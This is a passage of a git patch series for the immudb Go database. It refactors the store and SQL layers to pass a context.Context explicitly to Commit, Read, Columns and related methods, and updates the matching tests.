TestExportAndReplicateTxSimultaneousWriters(t *testing.T) { err = tx.Set([]byte(fmt.Sprintf("key%d", i)), nil, []byte(fmt.Sprintf("value%d", i))) require.NoError(t, err) - hdr, err := tx.Commit() + hdr, err := tx.Commit(context.Background()) require.NoError(t, err) require.NotNil(t, hdr) @@ -2548,7 +2548,7 @@ func TestExportAndReplicateTxDisorderedReplication(t *testing.T) { err = tx.Set([]byte(fmt.Sprintf("key%d", i)), nil, []byte(fmt.Sprintf("value%d", i))) require.NoError(t, err) - hdr, err := tx.Commit() + hdr, err := tx.Commit(context.Background()) require.NoError(t, err) require.NotNil(t, hdr) @@ -2618,7 +2618,7 @@ func TestImmudbStoreCommitWithPreconditions(t *testing.T) { err = otx.Set([]byte("key1"), nil, []byte("value1")) require.NoError(t, err) - hdr1, err := otx.Commit() + hdr1, err := otx.Commit(context.Background()) require.NoError(t, err) // delete entry @@ -2628,7 +2628,7 @@ func TestImmudbStoreCommitWithPreconditions(t *testing.T) { err = otx.Delete([]byte("key1")) require.NoError(t, err) - _, err = otx.Commit() + _, err = otx.Commit(context.Background()) require.NoError(t, err) t.Run("must not exist constraint should pass when evaluated over a deleted key", func(t *testing.T) { @@ -2641,7 +2641,7 @@ func TestImmudbStoreCommitWithPreconditions(t *testing.T) { err = otx.AddPrecondition(&PreconditionKeyMustNotExist{[]byte("key1")}) require.NoError(t, err) - _, err = otx.Commit() + _, err = otx.Commit(context.Background()) require.NoError(t, err) }) @@ -2655,7 +2655,7 @@ func TestImmudbStoreCommitWithPreconditions(t *testing.T) { err = otx.AddPrecondition(&PreconditionKeyMustExist{[]byte("key2")}) require.NoError(t, err) - _, err = otx.Commit() + _, err = otx.Commit(context.Background()) require.NoError(t, err) }) @@ -2669,7 +2669,7 @@ func TestImmudbStoreCommitWithPreconditions(t *testing.T) { err = otx.AddPrecondition(&PreconditionKeyNotModifiedAfterTx{Key: []byte("key1"), TxID: hdr1.ID}) require.NoError(t, err) - _, err = otx.Commit() + _, err = otx.Commit(context.Background()) require.ErrorIs(t, err, ErrPreconditionFailed) }) @@ -2683,7 +2683,7 @@ func TestImmudbStoreCommitWithPreconditions(t *testing.T) { err = otx.AddPrecondition(&PreconditionKeyNotModifiedAfterTx{Key: []byte("nonExistentKey"), TxID: 1}) require.NoError(t, err) - _, err = otx.Commit() + _, err = otx.Commit(context.Background()) require.NoError(t, err) }) @@ -2698,7 +2698,7 @@ func TestImmudbStoreCommitWithPreconditions(t *testing.T) { err = otx.Set([]byte("expirableKey"), md, []byte("expirableValue")) require.NoError(t, err) - hdr, err := otx.Commit() + hdr, err := otx.Commit(context.Background()) require.NoError(t, err) // wait for entry to be expired @@ -2725,7 +2725,7 @@ func TestImmudbStoreCommitWithPreconditions(t *testing.T) { err = otx.AddPrecondition(&PreconditionKeyNotModifiedAfterTx{Key: []byte("expirableKey"), TxID: hdr.ID - 1}) require.NoError(t, err) - _, err = otx.Commit() + _, err = otx.Commit(context.Background()) require.ErrorIs(t, err, ErrPreconditionFailed) }) @@ -2739,7 +2739,7 @@ func TestImmudbStoreCommitWithPreconditions(t *testing.T) { err = otx.AddPrecondition(&PreconditionKeyMustNotExist{Key: []byte("expirableKey")}) require.NoError(t, err) - _, err = otx.Commit() + _, err = otx.Commit(context.Background()) require.NoError(t, err) }) @@ -2753,7 +2753,7 @@ func TestImmudbStoreCommitWithPreconditions(t *testing.T) { err = otx.AddPrecondition(&PreconditionKeyMustExist{Key: []byte("expirableKey")}) require.NoError(t, err) - _, err = otx.Commit() + _, err = otx.Commit(context.Background()) require.ErrorIs(t, err, ErrPreconditionFailed) }) } @@ -2798,7 +2798,7 @@ func BenchmarkSyncedAppend(b *testing.B) { require.NoError(b, err) } - _, err = tx.AsyncCommit() + _, err = tx.AsyncCommit(context.Background()) if err == ErrMaxConcurrencyLimitExceeded || err == ErrMaxActiveTransactionsLimitExceeded { time.Sleep(1 * time.Nanosecond) continue @@ -2843,7 +2843,7 @@ func BenchmarkAsyncAppend(b *testing.B) { require.NoError(b, err) } - _, err = tx.Commit() + _, err = tx.Commit(context.Background()) require.NoError(b, err) } } @@ -2902,7 +2902,7 @@ func BenchmarkSyncedAppendWithExtCommitAllowance(b *testing.B) { require.NoError(b, err) } - _, err = tx.AsyncCommit() + _, err = tx.AsyncCommit(context.Background()) if err == ErrMaxConcurrencyLimitExceeded || err == ErrMaxActiveTransactionsLimitExceeded { time.Sleep(1 * time.Nanosecond) continue @@ -2959,7 +2959,7 @@ func BenchmarkAsyncAppendWithExtCommitAllowance(b *testing.B) { require.NoError(b, err) } - _, err = tx.Commit() + _, err = tx.Commit(context.Background()) require.NoError(b, err) } } @@ -2977,7 +2977,7 @@ func TestImmudbStoreIncompleteCommitWrite(t *testing.T) { err = tx.Set([]byte("key1"), nil, []byte("val1")) require.NoError(t, err) - hdr, err := tx.Commit() + hdr, err := tx.Commit(context.Background()) require.NoError(t, err) err = immuStore.Close() @@ -3034,7 +3034,7 @@ func TestImmudbStoreTruncatedCommitLog(t *testing.T) { err = tx.Set([]byte("key1"), nil, []byte("val1")) require.NoError(t, err) - hdr1, err := tx.Commit() + hdr1, err := tx.Commit(context.Background()) require.NoError(t, err) require.NotNil(t, hdr1) @@ -3044,7 +3044,7 @@ func TestImmudbStoreTruncatedCommitLog(t *testing.T) { err = tx.Set([]byte("key1"), nil, []byte("val2")) require.NoError(t, err) - hdr2, err := tx.Commit() + hdr2, err := tx.Commit(context.Background()) require.NoError(t, err) require.NotNil(t, hdr2) require.NotEqual(t, hdr1.ID, hdr2.ID) @@ -3096,7 +3096,7 @@ func TestImmudbStoreTruncatedCommitLog(t *testing.T) { err = tx.Set([]byte("key1"), nil, []byte("val2")) require.NoError(t, err) - _, err = tx.Commit() + _, err = tx.Commit(context.Background()) require.NoError(t, err) valRef, err = immuStore.Get([]byte("key1")) @@ -3142,7 +3142,7 @@ func TestImmudbPreconditionIndexing(t *testing.T) { err = tx.Set([]byte(fmt.Sprintf("key_%d", i)), nil, []byte(fmt.Sprintf("value_%d", i))) require.NoError(t, err) - _, err = tx.AsyncCommit() + _, err = tx.AsyncCommit(context.Background()) require.NoError(t, err) } @@ -3168,7 +3168,7 @@ func TestImmudbPreconditionIndexing(t *testing.T) { immuStore.indexer.Resume() }() - _, err = tx.Commit() + _, err = tx.Commit(context.Background()) require.NoError(t, err) }) @@ -3184,7 +3184,7 @@ func TestImmudbPreconditionIndexing(t *testing.T) { err = tx.Set([]byte(fmt.Sprintf("key2_%d", i)), nil, []byte(fmt.Sprintf("value2_%d", i))) require.NoError(t, err) - _, err = tx.AsyncCommit() + _, err = tx.AsyncCommit(context.Background()) require.NoError(t, err) } @@ -3237,7 +3237,7 @@ func TestTimeBasedTxLookup(t *testing.T) { err = tx.Set([]byte("key1"), nil, []byte("val1")) require.NoError(t, err) - hdr, err := tx.Commit() + hdr, err := tx.Commit(context.Background()) require.NoError(t, err) require.NotNil(t, hdr) @@ -3314,7 +3314,7 @@ func TestBlTXOrdering(t *testing.T) { tx.Set([]byte(fmt.Sprintf("key:%d", i)), nil, []byte("value")) - _, err = tx.Commit() + _, err = tx.Commit(context.Background()) require.NoError(t, err) } }(i) @@ -3387,7 +3387,7 @@ func TestImmudbStoreExternalCommitAllowance(t *testing.T) { require.NoError(t, err) } - _, err = tx.Commit() + _, err = tx.Commit(context.Background()) require.NoError(t, err) }() } @@ -3445,7 +3445,7 @@ func TestImmudbStorePrecommittedTxLoading(t *testing.T) { require.NoError(t, err) } - _, err = tx.Commit() + _, err = tx.Commit(context.Background()) require.ErrorIs(t, err, ErrAlreadyClosed) }() } @@ -3505,7 +3505,7 @@ func TestImmudbStorePrecommittedTxDiscarding(t *testing.T) { wg.Done() - _, err = tx.Commit() + _, err = tx.Commit(context.Background()) require.ErrorIs(t, err, ErrAlreadyClosed) }() } @@ -3569,7 +3569,7 @@ func TestImmudbStoreMVCC(t *testing.T) { err = tx1.Set([]byte("key1"), nil, []byte("value1")) require.NoError(t, err) - _, err = tx1.Commit() + _, err = tx1.Commit(context.Background()) require.NoError(t, err) _, err = tx2.Get([]byte("key2")) @@ -3578,7 +3578,7 @@ func TestImmudbStoreMVCC(t *testing.T) { err = tx2.Set([]byte("key2"), nil, []byte("value2")) require.NoError(t, err) - _, err = tx2.Commit() + _, err = tx2.Commit(context.Background()) require.NoError(t, err) }) @@ -3592,13 +3592,13 @@ func TestImmudbStoreMVCC(t *testing.T) { err = tx1.Set([]byte("key1"), nil, []byte("value1")) require.NoError(t, err) - _, err = tx1.Commit() + _, err = tx1.Commit(context.Background()) require.NoError(t, err) err = tx2.Set([]byte("key1"), nil, []byte("value2")) require.NoError(t, err) - _, err = tx2.Commit() + _, err = tx2.Commit(context.Background()) require.NoError(t, err) }) @@ -3612,7 +3612,7 @@ func TestImmudbStoreMVCC(t *testing.T) { err = tx1.Set([]byte("key3"), nil, []byte("value")) require.NoError(t, err) - _, err = tx1.Commit() + _, err = tx1.Commit(context.Background()) require.NoError(t, err) _, err = tx2.Get([]byte("key3")) @@ -3621,7 +3621,7 @@ func TestImmudbStoreMVCC(t *testing.T) { err = tx2.Set([]byte("key3"), nil, []byte("value")) require.NoError(t, err) - _, err = tx2.Commit() + _, err = tx2.Commit(context.Background()) require.ErrorIs(t, err, ErrTxReadConflict) }) @@ -3632,7 +3632,7 @@ func TestImmudbStoreMVCC(t *testing.T) { err = tx1.Set([]byte("key4"), nil, []byte("value")) require.NoError(t, err) - _, err = tx1.Commit() + _, err = tx1.Commit(context.Background()) require.NoError(t, err) tx2, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) @@ -3644,7 +3644,7 @@ func TestImmudbStoreMVCC(t *testing.T) { err = tx2.Delete([]byte("key4")) require.NoError(t, err) - _, err = tx2.Commit() + _, err = tx2.Commit(context.Background()) require.NoError(t, err) _, err = tx3.Get([]byte("key4")) @@ -3653,7 +3653,7 @@ func TestImmudbStoreMVCC(t *testing.T) { err = tx3.Set([]byte("key4"), nil, []byte("value4")) require.NoError(t, err) - _, err = tx3.Commit() + _, err = tx3.Commit(context.Background()) require.ErrorIs(t, err, ErrTxReadConflict) }) @@ -3667,7 +3667,7 @@ func TestImmudbStoreMVCC(t *testing.T) { err = tx1.Set([]byte("key1"), nil, []byte("value1")) require.NoError(t, err) - _, err = tx1.Commit() + _, err = tx1.Commit(context.Background()) require.NoError(t, err) key, _, err := tx2.GetWithPrefix([]byte("key2"), nil) @@ -3677,7 +3677,7 @@ func TestImmudbStoreMVCC(t *testing.T) { err = tx2.Set([]byte("key2"), nil, []byte("value2")) require.NoError(t, err) - _, err = tx2.Commit() + _, err = tx2.Commit(context.Background()) require.NoError(t, err) }) @@ -3691,7 +3691,7 @@ func TestImmudbStoreMVCC(t *testing.T) { err = tx1.Set([]byte("key1"), nil, []byte("value1")) require.NoError(t, err) - _, err = tx1.Commit() + _, err = tx1.Commit(context.Background()) require.NoError(t, err) key, _, err := tx2.GetWithPrefix([]byte("key"), nil) @@ -3701,7 +3701,7 @@ func TestImmudbStoreMVCC(t *testing.T) { err = tx2.Set([]byte("key2"), nil, []byte("value2")) require.NoError(t, err) - _, err = tx2.Commit() + _, err = tx2.Commit(context.Background()) require.ErrorIs(t, err, ErrTxReadConflict) }) @@ -3715,7 +3715,7 @@ func TestImmudbStoreMVCC(t *testing.T) { err = tx1.Delete([]byte("key1")) require.NoError(t, err) - _, err = tx1.Commit() + _, err = tx1.Commit(context.Background()) require.NoError(t, err) _, _, err = tx2.GetWithPrefix([]byte("key"), nil) @@ -3725,7 +3725,7 @@ func TestImmudbStoreMVCC(t *testing.T) { err = tx2.Set([]byte("key2"), nil, []byte("value2")) require.NoError(t, err) - _, err = tx2.Commit() + _, err = tx2.Commit(context.Background()) require.ErrorIs(t, err, ErrTxReadConflict) }) @@ -3736,7 +3736,7 @@ func TestImmudbStoreMVCC(t *testing.T) { err = tx1.Set([]byte("key1"), nil, []byte("value1")) require.NoError(t, err) - _, err = tx1.Commit() + _, err = tx1.Commit(context.Background()) require.NoError(t, err) tx2, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) @@ -3754,7 +3754,7 @@ func TestImmudbStoreMVCC(t *testing.T) { err = tx2.Set([]byte("key4"), nil, []byte("value4")) require.NoError(t, err) - _, err = tx2.Commit() + _, err = tx2.Commit(context.Background()) require.NoError(t, err) err = tx3.Set([]byte("key2"), nil, []byte("value2_2")) @@ -3783,7 +3783,7 @@ func TestImmudbStoreMVCC(t *testing.T) { err = r.Close() require.NoError(t, err) - _, err = tx3.Commit() + _, err = tx3.Commit(context.Background()) require.ErrorIs(t, err, ErrTxReadConflict) }) @@ -3794,7 +3794,7 @@ func TestImmudbStoreMVCC(t *testing.T) { err = tx1.Set([]byte("key1"), nil, []byte("value1")) require.NoError(t, err) - _, err = tx1.Commit() + _, err = tx1.Commit(context.Background()) require.NoError(t, err) tx2, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) @@ -3809,7 +3809,7 @@ func TestImmudbStoreMVCC(t *testing.T) { err = tx2.Set([]byte("key3"), nil, []byte("value3")) require.NoError(t, err) - _, err = tx2.Commit() + _, err = tx2.Commit(context.Background()) require.NoError(t, err) err = tx3.Set([]byte("key2"), nil, []byte("value2_2")) @@ -3838,7 +3838,7 @@ func TestImmudbStoreMVCC(t *testing.T) { err = r.Close() require.NoError(t, err) - _, err = tx3.Commit() + _, err = tx3.Commit(context.Background()) require.NoError(t, err) }) @@ -3849,7 +3849,7 @@ func TestImmudbStoreMVCC(t *testing.T) { err = tx1.Set([]byte("key1"), nil, []byte("value1")) require.NoError(t, err) - _, err = tx1.Commit() + _, err = tx1.Commit(context.Background()) require.NoError(t, err) tx2, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) @@ -3861,7 +3861,7 @@ func TestImmudbStoreMVCC(t *testing.T) { err = tx2.Set([]byte("key5"), nil, []byte("value5")) require.NoError(t, err) - _, err = tx2.Commit() + _, err = tx2.Commit(context.Background()) require.NoError(t, err) r, err := tx3.NewKeyReader(KeyReaderSpec{ @@ -3882,7 +3882,7 @@ func TestImmudbStoreMVCC(t *testing.T) { err = tx3.Set([]byte("key6"), nil, []byte("value6")) require.NoError(t, err) - _, err = tx3.Commit() + _, err = tx3.Commit(context.Background()) require.ErrorIs(t, err, ErrTxReadConflict) }) @@ -3893,7 +3893,7 @@ func TestImmudbStoreMVCC(t *testing.T) { err = tx1.Set([]byte("key1"), nil, []byte("value1")) require.NoError(t, err) - _, err = tx1.Commit() + _, err = tx1.Commit(context.Background()) require.NoError(t, err) tx2, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) @@ -3905,7 +3905,7 @@ func TestImmudbStoreMVCC(t *testing.T) { err = tx2.Delete([]byte("key1")) require.NoError(t, err) - _, err = tx2.Commit() + _, err = tx2.Commit(context.Background()) require.NoError(t, err) r, err := tx3.NewKeyReader(KeyReaderSpec{ @@ -3927,7 +3927,7 @@ func TestImmudbStoreMVCC(t *testing.T) { err = tx3.Set([]byte("key2"), nil, []byte("value2")) require.NoError(t, err) - _, err = tx3.Commit() + _, err = tx3.Commit(context.Background()) require.ErrorIs(t, err, ErrTxReadConflict) }) @@ -3938,7 +3938,7 @@ func TestImmudbStoreMVCC(t *testing.T) { err = tx1.Set([]byte("key1"), nil, []byte("value1")) require.NoError(t, err) - _, err = tx1.Commit() + _, err = tx1.Commit(context.Background()) require.NoError(t, err) tx2, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) @@ -3950,7 +3950,7 @@ func TestImmudbStoreMVCC(t *testing.T) { err = tx2.Delete([]byte("key1")) require.NoError(t, err) - _, err = tx2.Commit() + _, err = tx2.Commit(context.Background()) require.NoError(t, err) err = tx3.Delete([]byte("key1")) @@ -3972,7 +3972,7 @@ func TestImmudbStoreMVCC(t *testing.T) { err = r.Close() require.NoError(t, err) - _, err = tx3.Commit() + _, err = tx3.Commit(context.Background()) require.ErrorIs(t, err, ErrTxReadConflict) }) @@ -3986,7 +3986,7 @@ func TestImmudbStoreMVCC(t *testing.T) { err = tx1.Set([]byte("key2"), nil, []byte("value2")) require.NoError(t, err) - _, err = tx1.Commit() + _, err = tx1.Commit(context.Background()) require.NoError(t, err) tx2, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) @@ -3998,7 +3998,7 @@ func TestImmudbStoreMVCC(t *testing.T) { err = tx2.Delete([]byte("key1")) require.NoError(t, err) - _, err = tx2.Commit() + _, err = tx2.Commit(context.Background()) require.NoError(t, err) r, err := tx3.NewKeyReader(KeyReaderSpec{ @@ -4021,7 +4021,7 @@ func TestImmudbStoreMVCC(t *testing.T) { err = tx3.Set([]byte("key2"), nil, []byte("value2")) require.NoError(t, err) - _, err = tx3.Commit() + _, err = tx3.Commit(context.Background()) require.ErrorIs(t, err, ErrTxReadConflict) }) } @@ -4171,7 +4171,7 @@ func TestImmudbStoreMVCCBoundaries(t *testing.T) { require.NoError(t, err) } - _, err = tx1.Commit() + _, err = tx1.Commit(context.Background()) require.NoError(t, err) tx2, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) diff --git a/embedded/store/indexer_test.go b/embedded/store/indexer_test.go index 01047875c3..2e62c77543 100644 --- a/embedded/store/indexer_test.go +++ b/embedded/store/indexer_test.go @@ -105,7 +105,7 @@ func TestMaxIndexWaitees(t *testing.T) { err = tx.Set([]byte{1}, nil, []byte{2}) require.NoError(t, err) - hdr, err := tx.AsyncCommit() + hdr, err := tx.AsyncCommit(context.Background()) require.NoError(t, err) require.EqualValues(t, 1, hdr.ID) diff --git a/embedded/store/key_reader_test.go b/embedded/store/key_reader_test.go index ba79b30da3..c702bda1fe 100644 --- a/embedded/store/key_reader_test.go +++ b/embedded/store/key_reader_test.go @@ -49,7 +49,7 @@ func TestImmudbStoreReader(t *testing.T) { require.NoError(t, err) } - _, err = tx.Commit() + _, err = tx.Commit(context.Background()) require.NoError(t, err) } @@ -108,7 +108,7 @@ func TestImmudbStoreReaderAsBefore(t *testing.T) { require.NoError(t, err) } - _, err = tx.Commit() + _, err = tx.Commit(context.Background()) require.NoError(t, err) } @@ -172,7 +172,7 @@ func TestImmudbStoreReaderWithOffset(t *testing.T) { require.NoError(t, err) } - _, err = tx.Commit() + _, err = tx.Commit(context.Background()) require.NoError(t, err) } @@ -235,7 +235,7 @@ func TestImmudbStoreReaderAsBeforeWithOffset(t *testing.T) { require.NoError(t, err) } - _, err = tx.Commit() + _, err = tx.Commit(context.Background()) require.NoError(t, err) } diff --git a/embedded/store/ongoing_tx.go b/embedded/store/ongoing_tx.go index 97a5e5d0fc..b1fcc62d85 100644 --- a/embedded/store/ongoing_tx.go +++ b/embedded/store/ongoing_tx.go @@ -28,8 +28,6 @@ import ( // OngoingTx (no-thread safe) represents an interactive or incremental transaction with support of RYOW. // The snapshot may be locally modified but isolated from other transactions type OngoingTx struct { - ctx context.Context - st *ImmuStore snap *Snapshot @@ -81,7 +79,6 @@ func newOngoingTx(ctx context.Context, s *ImmuStore, opts *TxOptions) (*OngoingT tx := &OngoingTx{ st: s, - ctx: ctx, entriesByKey: make(map[[sha256.Size]byte]int), ts: time.Now(), } @@ -161,10 +158,6 @@ func (oref *ongoingValRef) Len() uint32 { return uint32(len(oref.value)) } -func (tx *OngoingTx) Context() context.Context { - return tx.ctx -} - func (tx *OngoingTx) IsWriteOnly() bool { return tx.snap == nil } @@ -407,15 +400,15 @@ func (tx *OngoingTx) NewKeyReader(spec KeyReaderSpec) (KeyReader, error) { return newOngoingTxKeyReader(tx, spec) } -func (tx *OngoingTx) Commit() (*TxHeader, error) { - return tx.commit(true) +func (tx *OngoingTx) Commit(ctx context.Context) (*TxHeader, error) { + return tx.commit(ctx, true) } -func (tx *OngoingTx) AsyncCommit() (*TxHeader, error) { - return tx.commit(false) +func (tx *OngoingTx) AsyncCommit(ctx context.Context) (*TxHeader, error) { + return tx.commit(ctx, false) } -func (tx *OngoingTx) commit(waitForIndexing bool) (*TxHeader, error) { +func (tx *OngoingTx) commit(ctx context.Context, waitForIndexing bool) (*TxHeader, error) { if tx.closed { return nil, ErrAlreadyClosed } @@ -433,7 +426,7 @@ func (tx *OngoingTx) commit(waitForIndexing bool) (*TxHeader, error) { tx.closed = true - return tx.st.commit(tx, nil, waitForIndexing) + return tx.st.commit(ctx, tx, nil, waitForIndexing) } func (tx *OngoingTx) Cancel() error { diff --git a/embedded/store/tx_reader_test.go b/embedded/store/tx_reader_test.go index f1a4311521..bbb113e9ca 100644 --- a/embedded/store/tx_reader_test.go +++ b/embedded/store/tx_reader_test.go @@ -52,7 +52,7 @@ func TestTxReader(t *testing.T) { require.NoError(t, err) } - txhdr, err := tx.AsyncCommit() + txhdr, err := tx.AsyncCommit(context.Background()) require.NoError(t, err) require.Equal(t, uint64(i+1), txhdr.ID) } diff --git a/embedded/store/verification_test.go b/embedded/store/verification_test.go index 55082f2ea9..28f1e9e188 100644 --- a/embedded/store/verification_test.go +++ b/embedded/store/verification_test.go @@ -82,7 +82,7 @@ func TestVerifyDualProofEdgeCases(t *testing.T) { require.NoError(t, err) } - txhdr, err := tx.AsyncCommit() + txhdr, err := tx.AsyncCommit(context.Background()) require.NoError(t, err) require.Equal(t, uint64(i+1), txhdr.ID) } From d54bdfc26ed76603603d3df6b78c51bb507c343e Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 16 Jan 2023 20:24:57 -0300 Subject: [PATCH 0148/1062] chore(embedded/sql): transient context Signed-off-by: Jeronimo Irazabal --- embedded/sql/cond_row_reader.go | 23 +- embedded/sql/cond_row_reader_test.go | 7 +- embedded/sql/distinct_row_reader.go | 25 +- embedded/sql/distinct_row_reader_test.go | 13 +- embedded/sql/dummy_data_source_test.go | 16 +- embedded/sql/dummy_row_reader_test.go | 9 +- embedded/sql/engine.go | 55 +- embedded/sql/engine_test.go | 1731 +++++++++++----------- embedded/sql/grouped_row_reader.go | 19 +- embedded/sql/grouped_row_reader_test.go | 2 +- embedded/sql/joint_row_reader.go | 37 +- embedded/sql/joint_row_reader_test.go | 20 +- embedded/sql/limit_row_reader.go | 18 +- embedded/sql/limit_row_reader_test.go | 9 +- embedded/sql/offset_row_reader.go | 18 +- embedded/sql/offset_row_reader_test.go | 9 +- embedded/sql/proj_row_reader.go | 25 +- embedded/sql/row_reader.go | 19 +- embedded/sql/sql_tx.go | 8 +- embedded/sql/stmt.go | 179 +-- embedded/sql/stmt_test.go | 29 +- embedded/sql/union_row_reader.go | 23 +- embedded/sql/union_row_reader_test.go | 11 +- embedded/sql/values_row_reader.go | 15 +- embedded/sql/values_row_reader_test.go | 17 +- 25 files changed, 1195 insertions(+), 1142 deletions(-) diff --git a/embedded/sql/cond_row_reader.go b/embedded/sql/cond_row_reader.go index 84a26eebb0..0345d7ba3e 100644 --- a/embedded/sql/cond_row_reader.go +++ b/embedded/sql/cond_row_reader.go @@ -16,7 +16,10 @@ limitations under the License. package sql -import "fmt" +import ( + "context" + "fmt" +) type conditionalRowReader struct { rowReader RowReader @@ -63,21 +66,21 @@ func (cr *conditionalRowReader) ScanSpecs() *ScanSpecs { return cr.rowReader.ScanSpecs() } -func (cr *conditionalRowReader) Columns() ([]ColDescriptor, error) { - return cr.rowReader.Columns() +func (cr *conditionalRowReader) Columns(ctx context.Context) ([]ColDescriptor, error) { + return cr.rowReader.Columns(ctx) } -func (cr *conditionalRowReader) colsBySelector() (map[string]ColDescriptor, error) { - return cr.rowReader.colsBySelector() +func (cr *conditionalRowReader) colsBySelector(ctx context.Context) (map[string]ColDescriptor, error) { + return cr.rowReader.colsBySelector(ctx) } -func (cr *conditionalRowReader) InferParameters(params map[string]SQLValueType) error { - err := cr.rowReader.InferParameters(params) +func (cr *conditionalRowReader) InferParameters(ctx context.Context, params map[string]SQLValueType) error { + err := cr.rowReader.InferParameters(ctx, params) if err != nil { return err } - cols, err := cr.colsBySelector() + cols, err := cr.colsBySelector(ctx) if err != nil { return err } @@ -87,9 +90,9 @@ func (cr *conditionalRowReader) InferParameters(params map[string]SQLValueType) return err } -func (cr *conditionalRowReader) Read() (*Row, error) { +func (cr *conditionalRowReader) Read(ctx context.Context) (*Row, error) { for { - row, err := cr.rowReader.Read() + row, err := cr.rowReader.Read(ctx) if err != nil { return nil, err } diff --git a/embedded/sql/cond_row_reader_test.go b/embedded/sql/cond_row_reader_test.go index 7c707e1847..549f28fe2c 100644 --- a/embedded/sql/cond_row_reader_test.go +++ b/embedded/sql/cond_row_reader_test.go @@ -17,6 +17,7 @@ limitations under the License. package sql import ( + "context" "testing" "github.com/stretchr/testify/require" @@ -27,14 +28,14 @@ func TestConditionalRowReader(t *testing.T) { rowReader := newConditionalRowReader(dummyr, &Bool{val: true}) - _, err := rowReader.Columns() + _, err := rowReader.Columns(context.Background()) require.Equal(t, errDummy, err) - err = rowReader.InferParameters(nil) + err = rowReader.InferParameters(context.Background(), nil) require.Equal(t, errDummy, err) dummyr.failInferringParams = true - err = rowReader.InferParameters(nil) + err = rowReader.InferParameters(context.Background(), nil) require.Equal(t, errDummy, err) } diff --git a/embedded/sql/distinct_row_reader.go b/embedded/sql/distinct_row_reader.go index e7b2927021..e8b567929a 100644 --- a/embedded/sql/distinct_row_reader.go +++ b/embedded/sql/distinct_row_reader.go @@ -16,7 +16,10 @@ limitations under the License. package sql -import "crypto/sha256" +import ( + "context" + "crypto/sha256" +) type distinctRowReader struct { rowReader RowReader @@ -25,8 +28,8 @@ type distinctRowReader struct { readRows map[[sha256.Size]byte]struct{} } -func newDistinctRowReader(rowReader RowReader) (*distinctRowReader, error) { - cols, err := rowReader.Columns() +func newDistinctRowReader(ctx context.Context, rowReader RowReader) (*distinctRowReader, error) { + cols, err := rowReader.Columns(ctx) if err != nil { return nil, err } @@ -70,25 +73,25 @@ func (dr *distinctRowReader) ScanSpecs() *ScanSpecs { return dr.rowReader.ScanSpecs() } -func (dr *distinctRowReader) Columns() ([]ColDescriptor, error) { - return dr.rowReader.Columns() +func (dr *distinctRowReader) Columns(ctx context.Context) ([]ColDescriptor, error) { + return dr.rowReader.Columns(ctx) } -func (dr *distinctRowReader) colsBySelector() (map[string]ColDescriptor, error) { - return dr.rowReader.colsBySelector() +func (dr *distinctRowReader) colsBySelector(ctx context.Context) (map[string]ColDescriptor, error) { + return dr.rowReader.colsBySelector(ctx) } -func (dr *distinctRowReader) InferParameters(params map[string]SQLValueType) error { - return dr.rowReader.InferParameters(params) +func (dr *distinctRowReader) InferParameters(ctx context.Context, params map[string]SQLValueType) error { + return dr.rowReader.InferParameters(ctx, params) } -func (dr *distinctRowReader) Read() (*Row, error) { +func (dr *distinctRowReader) Read(ctx context.Context) (*Row, error) { for { if len(dr.readRows) == dr.rowReader.Tx().distinctLimit() { return nil, ErrTooManyRows } - row, err := dr.rowReader.Read() + row, err := dr.rowReader.Read(ctx) if err != nil { return nil, err } diff --git a/embedded/sql/distinct_row_reader_test.go b/embedded/sql/distinct_row_reader_test.go index b450649c1f..7ee3aa175d 100644 --- a/embedded/sql/distinct_row_reader_test.go +++ b/embedded/sql/distinct_row_reader_test.go @@ -17,6 +17,7 @@ limitations under the License. package sql import ( + "context" "testing" "github.com/stretchr/testify/require" @@ -26,12 +27,12 @@ func TestDistinctRowReader(t *testing.T) { dummyr := &dummyRowReader{failReturningColumns: false} dummyr.failReturningColumns = true - _, err := newDistinctRowReader(dummyr) + _, err := newDistinctRowReader(context.Background(), dummyr) require.Equal(t, errDummy, err) dummyr.failReturningColumns = false - rowReader, err := newDistinctRowReader(dummyr) + rowReader, err := newDistinctRowReader(context.Background(), dummyr) require.NoError(t, err) require.Equal(t, dummyr.Database(), rowReader.Database()) @@ -41,20 +42,20 @@ func TestDistinctRowReader(t *testing.T) { require.Nil(t, rowReader.Tx()) - _, err = rowReader.colsBySelector() + _, err = rowReader.colsBySelector(context.Background()) require.Equal(t, errDummy, err) dummyr.failReturningColumns = true - _, err = rowReader.Columns() + _, err = rowReader.Columns(context.Background()) require.Equal(t, errDummy, err) require.Nil(t, rowReader.Parameters()) - err = rowReader.InferParameters(nil) + err = rowReader.InferParameters(context.Background(), nil) require.NoError(t, err) dummyr.failInferringParams = true - err = rowReader.InferParameters(nil) + err = rowReader.InferParameters(context.Background(), nil) require.Equal(t, errDummy, err) } diff --git a/embedded/sql/dummy_data_source_test.go b/embedded/sql/dummy_data_source_test.go index bd2172a6b4..c763e1a3cf 100644 --- a/embedded/sql/dummy_data_source_test.go +++ b/embedded/sql/dummy_data_source_test.go @@ -1,21 +1,23 @@ package sql +import "context" + type dummyDataSource struct { - inferParametersFunc func(tx *SQLTx, params map[string]SQLValueType) error - ResolveFunc func(tx *SQLTx, params map[string]interface{}, ScanSpecs *ScanSpecs) (RowReader, error) + inferParametersFunc func(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error + ResolveFunc func(ctx context.Context, tx *SQLTx, params map[string]interface{}, ScanSpecs *ScanSpecs) (RowReader, error) AliasFunc func() string } -func (d *dummyDataSource) execAt(tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { +func (d *dummyDataSource) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { return tx, nil } -func (d *dummyDataSource) inferParameters(tx *SQLTx, params map[string]SQLValueType) error { - return d.inferParametersFunc(tx, params) +func (d *dummyDataSource) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { + return d.inferParametersFunc(ctx, tx, params) } -func (d *dummyDataSource) Resolve(tx *SQLTx, params map[string]interface{}, scanSpecs *ScanSpecs) (RowReader, error) { - return d.ResolveFunc(tx, params, scanSpecs) +func (d *dummyDataSource) Resolve(ctx context.Context, tx *SQLTx, params map[string]interface{}, scanSpecs *ScanSpecs) (RowReader, error) { + return 